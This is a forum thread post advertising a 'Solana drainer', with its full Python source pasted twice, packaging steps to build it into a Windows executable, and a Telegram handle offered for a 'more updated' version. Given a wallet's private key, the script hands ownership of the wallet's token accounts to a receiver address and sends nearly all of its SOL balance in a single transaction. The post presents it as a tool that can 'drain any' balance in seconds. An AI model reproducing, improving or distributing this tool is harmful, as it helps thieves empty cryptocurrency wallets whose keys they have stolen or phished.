Cloud SOLANA DRAINER
- Thread starter
- Thread Author
- #1
This DRAINER is capable DRAIN any SOLANA BALANCE or TOKENS just in few second.
Below is the program for this DRAINER---
Input base58 private key for the wallet you want to send from, then the address for the wallet you receive to. Program will transfer all token accounts from sender to receiver, and transfer the entire SOL balance in one transaction.
solana V0.36.1 library is sole dependency - run `pip install solana`.To build .exe, run `pip install pyinstaller` then `pyinstaller filename.py --onefile`. exe file around 33MB.
I have also a more updated Drainer Script if anybody needs Hit me on telegram @Ravi_2507
import requestsimport asynciofrom solders.keypair import Keypairfrom solders.pubkey import Pubkeyfrom solders.message import MessageV0from solders.system_program import TransferParams, transferfrom solders.transaction import VersionedTransactionfrom solana.rpc.async_api import AsyncClientfrom solana.rpc.types import TokenAccountOptsfrom spl.token.instructions import set_authority, SetAuthorityParams, AuthorityTypefrom spl.token.constants import TOKEN_PROGRAM_IDclient = AsyncClient("You must be logged in to see this link.")async def main(): print( "Solswiper: This program will transfer all token accounts and SOL from sender private key to receiver address" ) base58_priv_key = input("Enter sender private key as base58 string: ").strip() sender_keypair = Keypair.from_base58_string(base58_priv_key) sender_pubkey = sender_keypair.pubkey() print(f"Sender pubkey is {sender_pubkey}") receiver_pubkey_str = input("Enter receiver public key as base58 string: ").strip() receiver_pubkey = Pubkey.from_string(receiver_pubkey_str) blockhash_response = await client.get_latest_blockhash() ixs = [] token_accounts_response = await client.get_token_accounts_by_owner( sender_pubkey, opts=TokenAccountOpts(program_id=TOKEN_PROGRAM_ID) ) for token_account in token_accounts_response.value[:12]: print(token_account.pubkey) ixs.append( set_authority( SetAuthorityParams( program_id=TOKEN_PROGRAM_ID, account=token_account.pubkey, authority=AuthorityType.ACCOUNT_OWNER, current_authority=sender_pubkey, new_authority=receiver_pubkey, signers=[], ) ) ) balance_res = await client.get_balance(sender_pubkey) sol_balance = int(balance_res.value - 1e7) if sol_balance > 0: ixs.append( transfer( TransferParams( from_pubkey=sender_pubkey, to_pubkey=receiver_pubkey, lamports=sol_balance, ) ) ) msg = MessageV0.try_compile( payer=sender_pubkey, instructions=ixs, address_lookup_table_accounts=[], recent_blockhash=blockhash_response.value.blockhash, ) tx = VersionedTransaction(msg, [sender_keypair]) client_response = await client.send_transaction(tx) print(f"Transaction hash: {client_response}")if __name__ == "__main__": asyncio.run(main())
Below is the program for this DRAINER---
Input base58 private key for the wallet you want to send from, then the address for the wallet you receive to. Program will transfer all token accounts from sender to receiver, and transfer the entire SOL balance in one transaction.
solana V0.36.1 library is sole dependency - run `pip install solana`.To build .exe, run `pip install pyinstaller` then `pyinstaller filename.py --onefile`. exe file around 33MB.
I have also a more updated Drainer Script if anybody needs Hit me on telegram @Ravi_2507
import requestsimport asynciofrom solders.keypair import Keypairfrom solders.pubkey import Pubkeyfrom solders.message import MessageV0from solders.system_program import TransferParams, transferfrom solders.transaction import VersionedTransactionfrom solana.rpc.async_api import AsyncClientfrom solana.rpc.types import TokenAccountOptsfrom spl.token.instructions import set_authority, SetAuthorityParams, AuthorityTypefrom spl.token.constants import TOKEN_PROGRAM_IDclient = AsyncClient("You must be logged in to see this link.")async def main(): print( "Solswiper: This program will transfer all token accounts and SOL from sender private key to receiver address" ) base58_priv_key = input("Enter sender private key as base58 string: ").strip() sender_keypair = Keypair.from_base58_string(base58_priv_key) sender_pubkey = sender_keypair.pubkey() print(f"Sender pubkey is {sender_pubkey}") receiver_pubkey_str = input("Enter receiver public key as base58 string: ").strip() receiver_pubkey = Pubkey.from_string(receiver_pubkey_str) blockhash_response = await client.get_latest_blockhash() ixs = [] token_accounts_response = await client.get_token_accounts_by_owner( sender_pubkey, opts=TokenAccountOpts(program_id=TOKEN_PROGRAM_ID) ) for token_account in token_accounts_response.value[:12]: print(token_account.pubkey) ixs.append( set_authority( SetAuthorityParams( program_id=TOKEN_PROGRAM_ID, account=token_account.pubkey, authority=AuthorityType.ACCOUNT_OWNER, current_authority=sender_pubkey, new_authority=receiver_pubkey, signers=[], ) ) ) balance_res = await client.get_balance(sender_pubkey) sol_balance = int(balance_res.value - 1e7) if sol_balance > 0: ixs.append( transfer( TransferParams( from_pubkey=sender_pubkey, to_pubkey=receiver_pubkey, lamports=sol_balance, ) ) ) msg = MessageV0.try_compile( payer=sender_pubkey, instructions=ixs, address_lookup_table_accounts=[], recent_blockhash=blockhash_response.value.blockhash, ) tx = VersionedTransaction(msg, [sender_keypair]) client_response = await client.send_transaction(tx) print(f"Transaction hash: {client_response}")if __name__ == "__main__": asyncio.run(main())